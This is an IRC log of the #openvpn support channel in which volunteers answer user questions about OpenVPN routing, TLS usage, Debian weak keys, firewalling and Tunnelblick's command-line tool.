01:24 -!- tharkun [~0@187.188.166.5] has quit [Ping timeout: 260 seconds]
01:25 -!- tharkun [~0@187.188.166.5] has joined #openvpn
01:26 -!- vedic1 [~V@183.82.83.178] has quit [Quit: Leaving.]
01:28 < krantz> Eh, I give up.
01:30 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 264 seconds]
01:31 -!- Devastator [~devas@186.214.14.95] has joined #openvpn
01:35 < fischli> krantz: 'push "route 192.168.10.0 255.255.255.0"' should do without prefix
01:37 < krantz> You mean without "?
01:39 -!- tharkun [~0@187.188.166.5] has quit [Ping timeout: 240 seconds]
01:41 -!- tharkun [~0@187.188.166.5] has joined #openvpn
01:43 -!- krantz [~d3vd3l@m83-185-60-77.cust.tele2.se] has quit []
01:49 -!- ChristophWegener [~Christoph@ec2-54-252-191-46.ap-southeast-2.compute.amazonaws.com] has joined #openvpn
01:50 < ChristophWegener> !welcome
01:50 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
01:50 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
01:52 < ChristophWegener> hi
01:53 < ChristophWegener> i just successfully ran up the OVPN-AS AMI on AWS and it is working fantasticly!
01:53 -!- vedic1 [~V@49.206.62.216] has joined #openvpn
01:53 < ChristophWegener> Now I just saw that the AMI that I used to run it up has OpenVPN-AS version 1.8.5 on it.
01:54 < ChristophWegener> Is that the latest version?
01:57 < ChristophWegener> Or do I need to upgrade to version 2.3.1 to have a proper secured system?
01:57 < ChristophWegener> https://community.openvpn.net/openvpn/wiki/SecurityAnnouncement-f375aa67cc
01:57 <@vpnHelper> Title: SecurityAnnouncement-f375aa67cc – OpenVPN Community (at community.openvpn.net)
02:06 -!- y4h0 [~yavor@78.128.23.17] has quit [Remote host closed the connection]
02:27 < Perun> hi
02:29 < Perun> I have 2 openvpn tunnels to 2 differnet server. The client files are here: http://pastebin.com/2nmYapU1 both tunnels does work but not at the same time... why?
02:48 <+pekster> ChristophWegener, AS is not openvpn
02:48 < ChristophWegener> I see
02:49 < ChristophWegener> Where can I read more about that?
02:49 <+pekster> >=2.3.1 will protect you from that particular flaw if you're running the GPL code; AS is a closed-source non-free variation with a completely different codebase that's "most GPL OpenVPN compatible" on the wire
02:49 <+pekster> !as
02:49 <@vpnHelper> "as" is (#1) please go to #OpenVPN-AS for help with Access-Server or (#2) AS is a commercial product by OpenVPN Technologies Inc, and is NOT the same thing as the Community openvpn, which we support here.
02:50 < ChristophWegener> Thanks! :)
02:50 <+pekster> Or did you mean the particular timing flaw? It's almost completely theoretical, so it's really a non-issue in the real world
02:50 < ChristophWegener> I'm not concerned that much about that timing flaw.
02:50 < ChristophWegener> I reckon I can just disable UDP support and that should count as a mitigation against that flaw, right?
02:51 <+pekster> !tcp
02:51 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
02:52 < ChristophWegener> I'm mainly using OpenVPN to tunnel through corporate proxies and firewalls at the various sites I travel to for my job
02:52 < ChristophWegener> So, I need to use TCP. :)
02:57 <+pekster> !forget as 2
02:57 <@vpnHelper> Joo got it.
02:58 <+pekster> !learn as as AS is a commercial product by OpenVPN Technologies Inc, and is NOT the same thing as the GPL OpenVPN codebase ("Community OpenVPN"), which we support here.
02:58 <@vpnHelper> Joo got it.
02:58 -!- novaflash is now known as novaflash_away
02:59  * pekster adds the HTTP <title> to the list of annoynaces on "confusing users" by calling the openvpn.net page "open source VPN" that has 2/3 non-open-source solutions :(
03:04 -!- vedic1 [~V@49.206.62.216] has quit [Quit: Leaving.]
03:13 -!- novaflash_away is now known as novaflash
03:21 -!- ChristophWegener [~Christoph@ec2-54-252-191-46.ap-southeast-2.compute.amazonaws.com] has quit [Quit: Linkinus - http://linkinus.com]
03:23 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
03:23 -!- mode/#openvpn [+o mattock_afk] by ChanServ
03:23 -!- mattock_afk is now known as mattock
03:24 -!- JSharpe [~JSharpe@ns264658.ovh.net] has joined #openvpn
03:38 -!- Denial [Denial@90.202.26.221] has joined #openvpn
03:40 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
03:43 -!- mikeey [mikey@unaffiliated/mikeey] has joined #openvpn
03:43 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
03:44 < mikeey> Is it possible for me to restrict access to the local server OpenVPN is installed on? Meaning I would not like VPN clients to be able to access the LAN, only the server.
03:48 < Dar1us> mikeey: firewall the openvpn interfaces on the server
03:54 < mikeey> Dar1us: I am assuming that is the only "safe" way of doing it?
03:57 < Dar1us> you mean.. you want a magic flag in openvpn to do it?
03:57 < Dar1us> or..?
04:01 < mikeey> if such a flag exists, yeah
04:02 < mikeey> I did some reading and not pushing the route would work?
04:03 < Dar1us> that is passive though
04:03 < Dar1us> nothing stopping your client from sending packets to your server..
04:03 < mikeey> right
04:04 < Dar1us> mikeey: the right way is do both :)
04:05 < mikeey> Very well, thanks ;)
04:05 -!- mikeey [mikey@unaffiliated/mikeey] has left #openvpn []
04:06 -!- JSharpe [~JSharpe@ns264658.ovh.net] has quit [Ping timeout: 240 seconds]
04:10 -!- mattock is now known as mattock_afk
05:53 -!- johanbr [~johanbr@vps.nullinfinity.org] has quit [Ping timeout: 240 seconds]
05:56 -!- johanbr [~johanbr@vps.nullinfinity.org] has joined #openvpn
06:00 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
06:02 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
06:02 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
06:03 -!- RobertoC [~Roberto.C@unaffiliated/robertoc] has joined #openvpn
06:05 < RobertoC> hi *, is possible include tls-auth builtin into ovpn conf file? with which tags?
06:06 < RobertoC> http://www.strongvpn.com/setup_windows_mobile_6_openvpn.shtml <- the irective  <tls-auth>...</tls-auth>, not work.
06:06 <@vpnHelper> Title: OpenVPN Windows Mobile 6 Setup Instructions | StrongVPN.com (at www.strongvpn.com)
06:07 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
06:19 < RobertoC> okay solved with "key-direction"
06:19 < RobertoC> sorry for stupid question
06:19 < RobertoC> bye
06:19 < RobertoC> so!
06:19 -!- RobertoC [~Roberto.C@unaffiliated/robertoc] has quit [Quit: exit]
06:30 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
06:36 -!- fischli [~fischli@data.fischer-ing.de] has left #openvpn []
06:48 -!- p3rror [~p3rror@41.249.253.52] has quit [Read error: Connection reset by peer]
06:51 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
06:55 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 268 seconds]
06:56 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
06:57 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 260 seconds]
06:59 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
07:04 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
07:05 -!- zeroXten [~zeroXten@0x10.co.uk] has quit [Read error: Operation timed out]
07:05 -!- zeroXten [~zeroXten@0x10.co.uk] has joined #openvpn
07:08 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
07:10 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
07:14 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
07:20 -!- tharkun [~0@187.188.166.5] has joined #openvpn
07:22 -!- JAVACODER [~JAVACODER@2.190.36.15] has joined #openvpn
07:33 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
07:34 -!- gardar_ [~gardar@gardar.net] has quit [Quit: bye!]
07:34 -!- gardar [~gardar@gardar.net] has joined #openvpn
07:37 -!- speed_racer81 [~speed_rac@173.45.222.229] has joined #openvpn
07:38 -!- ele_ [~maarten@91.121.139.214] has quit [Ping timeout: 260 seconds]
07:41 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 246 seconds]
07:41 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 246 seconds]
07:43 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
07:57 -!- JSharpe [~JSharpe@ns2306746.ovh.net] has joined #openvpn
08:07 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Remote host closed the connection]
08:09 < MorgyN> is the error "could not extract Common Name from X509 subject string" a serious one?
08:11 <@ecrist> depends
08:12 <@ecrist> not serious per se, but it should be fixed
08:12 <@ecrist> it's likely an issue with your certificate
08:12 <@ecrist> or the encoding of the CN field, maybe odd character set, etc
08:13 < MorgyN> well there is no CN feild in the string
08:21 -!- HyperGlide [~HyperGlid@110.185.145.96] has joined #openvpn
08:24 -!- mattock_afk is now known as mattock
08:28 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
08:33 -!- Eagleman7 [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
08:33 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit [Read error: Operation timed out]
08:39 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
08:39 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Max SendQ exceeded]
08:42 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
08:52 -!- Muffins [~nanderson@69.146.233.50] has joined #openvpn
08:58 -!- Muffins [~nanderson@69.146.233.50] has quit [Quit: Leaving]
09:01 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
09:02 -!- Muffins [~Nick@69.146.233.50] has joined #openvpn
09:03 -!- ele_ [~maarten@pinky.elexer.com] has joined #openvpn
09:10 -!- JSharpe [~JSharpe@ns2306746.ovh.net] has quit [Ping timeout: 264 seconds]
09:13 -!- Muffins [~Nick@69.146.233.50] has quit [Quit: Out y'all]
09:17 -!- Denial [Denial@90.202.26.221] has quit [Ping timeout: 246 seconds]
09:17 -!- Denial [Denial@90.202.26.221] has joined #openvpn
09:18 -!- Muffins [~Nick@69.146.233.50] has joined #openvpn
09:30 -!- zenfish [~zenfish@flying.fish2.com] has joined #openvpn
09:31 -!- Devastator [~devas@186.214.14.95] has quit [Changing host]
09:31 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
09:39 < zenfish> Hey folks - I'm trying to set up my raspberry Pi as both a wired transparent layer 2 bridge (e.g. brctl) for a macbook that's connected to it *and* act as a bridging openVPN client for that same macbook to amazon EC2, which is acting as the OpenVPN server.  I can get the bridging working, and the VPN working, but not together (e.g. I can get traceroute *on* the Rasp-pi to start at EC2, but traceroute on the macbook persists in flowing through my local
09:39 < zenfish> network).  Is there any RTFM or suggestions?  Ip/Ebtable fu?  Any thoughts would be appreciated.  I need the bridge, so routing isn't much of an option.
09:40 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
09:41 <@EugeneKay> Run the bridge on the macbook?
09:41 < zenfish> can't install any software on the macbook - I'm trying essentially to make the R-pi an appliance that will just work
09:41 <@EugeneKay> And AFAIK EC2 does magic to block broadcasts from the wrong MAC to prevent you from doing spoofing
09:42 <@EugeneKay> So this won't work at all
09:42 < zenfish> ah, that would be bad, but better to know now, thanks
09:42 <@EugeneKay> And you already know why bridges suck; add another to the list.
09:54 -!- Falconor [falconor@unaffiliated/falconor] has quit [Ping timeout: 240 seconds]
09:55 -!- JSharpe [~JSharpe@ns237264.ovh.net] has joined #openvpn
10:03 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
10:04 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
10:09 -!- Falconor [falconor@unaffiliated/falconor] has joined #openvpn
10:11 -!- zenfish [~zenfish@flying.fish2.com] has quit [Quit: zenfish]
10:19 -!- Eagleman7 [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 276 seconds]
10:29 -!- michaelhart_ [~michaelha@192-0-240-94.cpe.teksavvy.com] has joined #openvpn
10:31 -!- michaelhart [~michaelha@162.209.54.120] has quit [Ping timeout: 268 seconds]
10:31 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
10:34 -!- michaelhart_ [~michaelha@192-0-240-94.cpe.teksavvy.com] has quit [Ping timeout: 240 seconds]
10:39 -!- Wheelz [~Wheelz@209-253-157-229.ip.mcleodusa.net] has joined #openvpn
10:58 -!- p3rror [~p3rror@41.249.253.52] has quit [Remote host closed the connection]
11:03 < Thermi> Don't bridge it.
11:05 -!- fischli [~fischli@data.fischer-ing.de] has quit [Quit: Leaving.]
11:05 -!- YamakasY [~yamakasY@62.58.32.94] has quit [Ping timeout: 256 seconds]
11:08 -!- duckstep [~ehnde@unaffiliated/ehnde] has quit [Read error: Operation timed out]
11:09 -!- duckstep [~ehnde@199.241.30.112] has joined #openvpn
11:09 -!- raidz_away is now known as raidz
11:23 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
11:31 -!- YamakasY [~yamakasY@62.58.198.100] has joined #openvpn
11:40 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 240 seconds]
11:40 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
11:42 -!- JAVACODER [~JAVACODER@2.190.36.15] has quit [Quit: Miranda IM! Smaller, Faster, Easier. http://miranda-im.org]
11:48 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:59 -!- YamakasY [~yamakasY@62.58.198.100] has quit [Remote host closed the connection]
11:59 -!- YamakasY [~yamakasY@62.58.32.94] has joined #openvpn
12:45 -!- Caelum [rkitover@caelum.cachemiss.com] has joined #openvpn
12:45 -!- Caelum [rkitover@caelum.cachemiss.com] has left #openvpn []
12:59 -!- Moonlightning [~blackl@unaffiliated/moonlightning] has joined #openvpn
13:09 < Moonlightning> OpenVPN doesn't run over SSL or TLS or anything, does it?
13:10 < Aketzu_> what do you mean?
13:10 < Aketzu_> i.e. can you run it over https or is openvpn crypto just ssl/tls?
13:11 < Moonlightning> I don't know what I mean xP
13:11 < Moonlightning> I just found out TLS 1.0 is totally insecure and now I'm even more paranoid than I was.
13:11 < Moonlightning> Trynna find out if OpenVPN is affected by that.
13:11 < Aketzu_> openvpn has it's own crypto so it's not affected
13:12 < Moonlightning> Cool.
13:12 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 240 seconds]
13:12 < Moonlightning> Of course, that means I could just route things over my VPN and not worry about TLS being broken.
13:12 < Aketzu_> http://openvpn.net/index.php/open-source/documentation/security-overview.html
13:12 <@vpnHelper> Title: Security Overview (at openvpn.net)
13:13 < Moonlightning> …wait what?
13:15 < Aketzu_> even though openvpn uses TLS style for auth and key negotiation it doesn't mean data channel crypto is "TLS"
13:15 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
13:18 < Moonlightning> Does it do normal TLS version negotia—wait, TLS-/style?/
13:22 < Aketzu_> TLS spec contains server+client auth with certificates and data channel encryption (and many other things)
13:22 < Aketzu_> openvpn uses just the server+client auth with certs
13:23 -!- YamakasY_ [~yamakasY@62.58.198.100] has joined #openvpn
13:23 -!- YamakasY_ [~yamakasY@62.58.198.100] has quit [Remote host closed the connection]
13:23 < Aketzu_> don't know the exact details
13:24 < Moonlightning> Is it secure, though?
13:24 -!- YamakasY_ [~yamakasY@62.58.198.100] has joined #openvpn
13:24 < Aketzu_> until somebody breaks public key crypto :)
13:25 -!- YamakasY_ [~yamakasY@62.58.198.100] has quit [Remote host closed the connection]
13:25 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
13:25 -!- YamakasY_ [~yamakasY@62.58.198.100] has joined #openvpn
13:26 <@EugeneKay> Openvpn uses a standard TLS handshake to negotiate a symetric data cipher key
13:26 <@EugeneKay> This key is renegotiated(by default) every 60 minutes
13:26 <@EugeneKay> !forwardsecurity
13:26 <@vpnHelper> "forwardsecurity" is (#1) in server/client mode with certs your key renegotiates (changes) every hour (by default), so if someone captures your traffic, and then gets your key, they can only decrypt the traffic within the timeframe since last renegotiation or (#2) in ptp mode (static key) you do not have this, so if someone gets your key they can decrypt ANY past traffic that they captured
13:26 -!- YamakasY [~yamakasY@62.58.32.94] has quit [Ping timeout: 240 seconds]
13:27 -!- YamakasY_ [~yamakasY@62.58.198.100] has quit [Remote host closed the connection]
13:27 <@EugeneKay> I don't know of a link offhand, but I'm sure there's a protocol overview if you want to dive into specifics
13:27 <@EugeneKay> Check the git repo
13:27 -!- erry_ [erry@freenode/staff/gms-slayer/erry] has joined #openvpn
13:27 -!- YamakasY [~yamakasY@62.58.32.94] has joined #openvpn
13:27 < Moonlightning> TLS-style renegotiation? o.e;
13:29 -!- erry_ [erry@freenode/staff/gms-slayer/erry] has left #openvpn []
13:30 <@EugeneKay> Not style. Is. There's some magic to make it work over UDP, but it's TLS.
13:30 < Moonlightning> What version of TLS|can I prevent it from using TLS 1.0?
13:30 < Moonlightning> or, rather, force 1.1 or newer
13:30 < Aketzu_> Moonlightning: so what if TLS layer would be hijacked? what the attacker could do?
13:31 < Moonlightning> You tell me.
13:31 <@EugeneKay> http://comments.gmane.org/gmane.network.openvpn.user/32553
13:31 <@EugeneKay> Read ^
13:31 <@vpnHelper> Title: OpenVPN users list (at comments.gmane.org)
13:33 -!- xBytez [~xbytez@xbytez.xxx] has joined #openvpn
13:33 <@EugeneKay> I'm not familiar with what exact TLS versions openvpn uses internally; I want to say it's 1.0 based upon skimming that mailing list thread
13:33 <@EugeneKay> The majority of attacks that I've seen against TLS are dependent upon a browser / httpd vuln
13:34 <@EugeneKay> I'm not big on the math, but I believe the latest RC4 attack is dependent upon the HTTP handshake, which openvpn does not use
13:35 -!- dosequis [~phil@modemcable174.227-70-69.static.videotron.ca] has left #openvpn []
13:36 < Aketzu_> even if reneg attack could be used to insert frames into TLS session then most you could is to generate new keys. But with key_method 2 it sounds like both server+client data are used for key generation so you cannot generate key without knowing state of both
13:37 < Aketzu_> and then you would have different keys at different ends which would cause tunnel to not work
13:37 <@EugeneKay> Another limiting factor against attacking openvpn is that you need a LOT of tls negotiations to get enough workable data for most of the known attacks; openvpn does not do many renegs(once an hour per client by default).
13:37 -!- HyperGlide [~HyperGlid@110.185.145.96] has quit [Remote host closed the connection]
13:37 < Moonlightning> That adds up though!
13:37 <@EugeneKay> vs HTTPS's reneg for every request
13:38 <@EugeneKay> 1/hour < 1/s ;-)
13:38 < kisom> https uses keepa-live
13:38 < Moonlightning> I mean, I leave my computer on /all the time/, and the VPN is always up
13:38 < kisom> At least most servers do
13:38 <@EugeneKay> kisom - IF it's enabled ;-)
13:38 -!- Wheelz [~Wheelz@209-253-157-229.ip.mcleodusa.net] has quit [Ping timeout: 246 seconds]
13:38  * EugeneKay pokes krzee
13:38 <@EugeneKay> You know more about this sort of thing than I do
13:38  * EugeneKay wanders off in pursuit of alcohol
13:38 -!- HyperGlide [~HyperGlid@110.185.145.96] has joined #openvpn
13:39 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds]
13:39 -!- Wheelz [~Wheelz@209-253-157-229.ip.mcleodusa.net] has joined #openvpn
13:40 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
13:40 -!- mode/#openvpn [+o dazo_afk] by ChanServ
13:40 -!- dazo_afk is now known as dazo
13:41 < Aketzu_> Moonlightning: have you watched 29c3 facthacks? http://youtu.be/IuSnY_O8DqQ
13:41 <@vpnHelper> Title: FactHacks [29c3] - YouTube (at youtu.be)
13:42 < Moonlightning> Nope.
13:43 -!- HyperGlide [~HyperGlid@110.185.145.96] has quit [Ping timeout: 246 seconds]
13:43 < Moonlightning> o.o That's a long video.
13:44 < Aketzu_> but very nice talk
13:44 < Aketzu_> ccc contains lots of good talks
13:45 -!- mattock is now known as mattock_afk
13:51 -!- JSharpe [~JSharpe@ns237264.ovh.net] has quit [Ping timeout: 264 seconds]
13:57 <+pekster> It's TLS with a DHE negotiated handshake to exchange symmetric keys
13:58 <+pekster> (assuming you're not doing something silly like downgrading the TLS session -- the paranoid will use --tls-cipher to force a favorable list
13:59 < Moonlightning> >> 10:43
13:59 < Moonlightning> o.e
14:00 < Moonlightning> That's been fixed, of course, right? xP
14:00 <+pekster> "that" ?
14:00 < Moonlightning> Debian and Ubuntu aren't only generating 2^20 possible keys for SSH and OpenVPN and such?
14:00 <+pekster> Fixed for anyone who keeps their system up to date
14:01 < Moonlightning> any idea what year it was fixed in?
14:01 <+pekster> Google does
14:01 <+pekster> https://duckduckgo.com/?q=debian+openssl+security <-- I'm even nice and gave you a link
14:01 <@vpnHelper> Title: debian openssl security at DuckDuckGo (at duckduckgo.com)
14:02 < Moonlightning> xP
14:03 <+pekster> http://packages.debian.org/sid/openvpn-blacklist
14:03 <@vpnHelper> Title: Debian -- Details of package openvpn-blacklist in sid (at packages.debian.org)
14:05 < Moonlightning> yeah, it's been fixed since Debian 4
14:08 <+pekster> Their flawed openssl implementation has, but keys generated with it are all vulerable
14:14 < Moonlightning> 'course
14:14 < Moonlightning> But if I only started generating keys /after/ it was fixed, I'm fine.
14:14 -!- KaiForce [~chatzilla@107.223.70.10] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 22.0/20130618035212]]
14:17 < Moonlightning> > https://www.factorable.net/keycheck.html
14:17 <@vpnHelper> Title: Key Check Service - factorable.net (at www.factorable.net)
14:17 < Moonlightning> Hmm, can I just crack open my ~/.ssh/authorized_keys and copypaste each one into there?
14:17 < Moonlightning> (It's not hashed)
14:18 < Moonlightning> …grrrrr.
14:18 < Moonlightning> Guess what that site doesn't support. :/
14:30 -!- HyperGlide [~HyperGlid@110.185.145.96] has joined #openvpn
14:34 -!- HyperGlide [~HyperGlid@110.185.145.96] has quit [Ping timeout: 240 seconds]
14:40 -!- zoplrdb [~NA@unaffiliated/zoplrdb] has joined #openvpn
14:40 < zoplrdb> Does openvpn use config files in order? e.g. 00-vpn1.conf, 01-vpn2.conf would mean vpn1 config is used first, then the 02?
14:41 <@krzee> you probably mean does your OS's startup script start configs in order
14:41 <@krzee> and i do not know, but the question will depend on os/distro
14:42 < rob0> read the script to find out what it does, or ask the distro
15:09 -!- dooglus [~biufter@unaffiliated/dooglus] has joined #openvpn
15:11 < dooglus> hi guys.  I have a general query.  I bought VPN service yesterday, and it's working fine.  I'm used to being hidden behind a NAT router, but when I'm connected to the VPN I'm out in the wilds of the internet, with port scanners, ssh-password-guessers, and who knows what else.
15:11 < dooglus> how do I stay safe when connected?  Is there some way of hiding behind a NAT again?
15:13 < dooglus> !welcome
15:13 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
15:13 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
15:13 < rob0> What IP address did the provider give you? Is it  in RFC 1918?
15:14 < rob0> 10.x.x.x, 172.y.x.x, 192.168.x.x (x=0..255, y=16..31)
15:15 < dooglus> no
15:15 < zoplrdb> Which VPN provider?
15:15 < rob0> Find a port scanning service online, scan your IP address.
15:16 < dooglus> MR hostingS.
15:16 < rob0> (or nmap it yourself from a remote shell)
15:16 < dooglus> SMR hosting
15:16 < dooglus> I did.  I see my ssh port, and a few other things
15:16 < dooglus> it's a real static IP address - not a private one
15:17 < rob0> interesting.
15:17 < zoplrdb> Uh... Why SMR Hosting, if I may ask?
15:17 < rob0> Does the provider offer any filtering options? Ideally you'd want to block unwanted traffic before it comes through the VPN.
15:20 < dooglus> zoplrdb: because they  accept bitcoin, and I had bitcoin
15:21 < zoplrdb> oic
15:25 <+pekster> NAT is not a firewall
15:26 < zoplrdb> Why not just setup a firewall to keep the evils away?
15:26 <+pekster> A firewall is commonly deployed with NAT, but NAT alone does nothing to "protect" you (and a clever attacker with access to the next-hop network upstream of the NAT could in theory send data to the RFC1918 LAN and, lacking a firewall, it would happily route it
15:26 <+pekster> So, in conclusion, NAT is not a firewall
15:27 < rob0> Ideally you'd want to block unwanted traffic before it comes through the VPN, which means you'd want the firewall at the provider.
15:31 < dooglus> I guess the VPN provider sees that as not their job
15:31 < dooglus> how do they know what is "unwanted"
15:33 < rob0> I suppose if I was offering a VPN service I'd give the user a choice of what ports/services to open.
15:33 < dooglus> fair enough
15:34 < rob0> It would conserve my bandwidth and improve the customer's experience.
15:34 < rob0> win/win, so to speak
15:34 < Moonlightning> Give the user an intermediate cert|privkey, require all packets to be signed by a key that was signed by that key 8D
15:37 -!- Muffins [~Nick@69.146.233.50] has quit [Quit: Out y'all]
15:55 -!- Wheelz [~Wheelz@209-253-157-229.ip.mcleodusa.net] has quit [Ping timeout: 276 seconds]
15:57 -!- asharp [~Adium@216.74.32.228] has joined #openvpn
15:57 < asharp> do you take questions on openvpnstart, the tunnelblick command line program?
16:04 -!- Wheelz [~Wheelz@209-253-157-229.ip.mcleodusa.net] has joined #openvpn
16:04 -!- zoplrdb [~NA@unaffiliated/zoplrdb] has quit [Quit: Leaving]
16:05 <@krzee> i run tunnelblick but never even realized it had a cli counterpart for starting vpns
16:05 <@krzee> thats pretty cool
16:05 < asharp> yeah it's neat, no idea how to use it though. if anybody could point me to a webpage or something that'd be great
16:06 -!- xBytez [~xbytez@xbytez.xxx] has quit [Ping timeout: 240 seconds]
16:06 <@krzee> https://code.google.com/p/tunnelblick/wiki/UsingTunnelblick
16:06 <@vpnHelper> Title: UsingTunnelblick - tunnelblick - Using Tunnelblick - OpenVPN GUI for Mac OS X - Google Project Hosting (at code.google.com)
16:06 -!- xBytez [~xbytez@xbytez.xxx] has joined #openvpn
16:07 < asharp> yeah i've seen that. running 'openvpnstart' doesn't give any layman's terms though
16:07 < asharp> i know that reading the tunnelblick logs is a good start, and i'm doing that, but i still can't get off the ground
16:07 -!- JSharpe [~JSharpe@ns237264.ovh.net] has joined #openvpn
16:07 <@krzee> what do you want?
16:07 < asharp> to start a vpn connection
16:07 < asharp> through bash script
16:08 <@krzee> ./openvpnstart start  configName  mgtPort  [useScripts  [skipScrSec  [cfgLocCode  [noMonitor  [bitMask  [leasewatchOptions [openvpnVersion] ]]  ]  ]  ]  ]
16:08 <@krzee>                to load the net.tunnelblick.tun and/or net.tunnelblick.tap kexts and start OpenVPN with the specified configuration file and options.
16:08 <@krzee>                foo.tun kext will be unloaded before loading net.tunnelblick.tun, and foo.tap will be unloaded before loading net.tunnelblick.tap.
16:08 <@krzee> you dont *need* anything inside [ ]
16:08 <@krzee> so it can be as easy as openvpnstart start  configName  mgtPort
16:09 <@krzee> configName is the name of the configuration file (a .conf or .ovpn file, or .tblk package)
16:09 <@krzee> mgtPort    is the port number (0-65535) to use for managing the connection
16:09 <@krzee>            or 0 to use a free port and create a log file encoding the configuration path and port number
16:09 <@krzee> its all there
16:09 < asharp> thanks. but when i do that i get this
16:09 < asharp> Tunnelblick openvpnstart: openvpn does not have any versions of OpenVPN
16:10 < asharp> and that can't be true, i can run this through gui just fine
16:11 <@krzee> all mine are private configs which are not allowed so i cant try it further
16:12 < asharp> no worries thanks for your help
16:13 -!- asharp [~Adium@216.74.32.228] has left #openvpn []
16:13 -!- asharp [~Adium@216.74.32.228] has joined #openvpn
16:38 -!- ichtys [~midacts@207.59.77.254] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- The alternative IRC client]
17:05 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:16 -!- michaelhart [~michaelha@162.209.54.120] has quit [Ping timeout: 240 seconds]
17:18 -!- master_of_master [~master_of@p4FF24C43.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
17:21 -!- averagecase [~anon@dslb-088-078-157-065.pools.arcor-ip.net] has joined #openvpn
17:27 -!- Denial [Denial@90.202.26.221] has quit []
17:29 -!- Moonlightning [~blackl@unaffiliated/moonlightning] has quit [Read error: Connection reset by peer]
17:52 -!- JSharpe [~JSharpe@ns237264.ovh.net] has quit [Ping timeout: 240 seconds]
18:01 -!- HyperGlide [~HyperGlid@110.185.145.96] has joined #openvpn
18:05 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
18:16 -!- master_of_master [~master_of@p4FF24C43.dip0.t-ipconnect.de] has joined #openvpn
18:20 -!- HyperGlide [~HyperGlid@110.185.145.96] has quit [Remote host closed the connection]
18:23 -!- duckstep [~ehnde@199.241.30.112] has quit [Quit: leaving]
18:32 -!- nikkiheat [~nikkiheat@c-24-10-172-109.hsd1.ut.comcast.net] has joined #openvpn
18:36 -!- Wheelz [~Wheelz@209-253-157-229.ip.mcleodusa.net] has quit [Ping timeout: 246 seconds]
